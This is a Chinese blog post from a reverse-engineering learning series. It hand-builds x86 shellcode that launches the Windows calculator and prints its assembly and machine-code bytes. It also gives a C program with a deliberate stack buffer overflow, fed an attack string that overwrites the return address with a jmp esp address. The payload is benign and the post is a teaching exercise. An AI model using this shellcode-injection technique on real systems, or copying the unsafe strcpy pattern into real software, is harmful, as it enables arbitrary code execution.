?

Sep 11 2016

逆向工程學習第三天--另外一個ShellCode

首頁 » 滲透測試 » 逆向工程學習第三天--另外一個ShellCode   

 上周自己打造的添加用戶的shellcode太長,不過當時主要目的是為了鍛煉手動asm,熟悉一些復雜的參數類型如何手動進行構造,然后通過堆棧傳遞。

接下來就打造一個彈計算器的shellcode來進行接下來的學習和測試。

彈計算器的C代碼只有一句:

C代碼:

system(“calc”);

 

004030B4    8BEC            mov     ebp, esp  //把棧底抬高,準備放參數

  004030B6    33FF            xor     edi, edi  //把edi清零,準備0,這樣可以防止代碼中出現00,避免字符類的復制中shellcode會被截斷。

  004030B8    57              push    edi  //開辟0填充的棧空間,用來存放字符。

  004030B9    57              push    edi  //開辟0填充的棧空間,用來存放字符。

  004030BA    C645 FB 63      mov     byte ptr [ebp-5], 63  //字符“c”入棧。

  004030BE    C645 FC 61      mov     byte ptr [ebp-4], 61  //字符“a”入棧。

  004030C2    C645 FD 6C      mov     byte ptr [ebp-3], 6C  //字符“l”入棧。

  004030C6    C645 FE 63      mov     byte ptr [ebp-2], 63  //字符“c”入棧。

  004030CA    8D45 FB         lea     eax, dword ptr [ebp-5]  //取得字符串地址放入eax。

  004030CD    50              push    eax  //參數“calc”入棧

  004030CE    B8 C793BF77     mov     eax, msvcrt.system  //取得system函數地址msvcrt.dll是系統默認加載,所以不用loadlibrary。

  004030D3    FFD0            call    eax  //調用system函數啟動計算器。

 

 

機器碼:

0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0

測試:

  漏洞程序:

#include "stdafx.h"
#include<stdio.h>
#include<string.h>
char ShellCode[] ={0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x12,0x45,0xFA,0x7F,0x8B,0xEC,0x33,0xFF,0x57,0x57,0xC6,0x45,0xFB,0x63,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x6C,0xC6,0x45,0xFE,0x63,0x8D,0x45,0xFB,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0};
void overflow();
int main()
{
  overflow();
  printf("fuction returned");
  return 0;
}
void overflow()
{
  char output[8];
  strcpy(output, ShellCode);
  printf("output is %s",output);
}


漏洞程序是一個典型的棧BOF漏洞,在關閉其他BOF保護措施的情況下,我們采用經典的覆蓋返回地址來測試,攻擊字符串布局:

0x90填充Jmp esp地址(0x7FFA4512)  Shellcode

1.運行時堆棧:

 3.png

2.成功彈出計算器:

4.png

 

http://www.cnblogs.com/rebeyond/p/4843620.html

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: 逆向學習

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «IPS Community Suite PHP遠程代碼執行漏洞分析(CVE-2016-6174) | 逆向工程學習第二天--動手開發自己的第一個shellcode»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖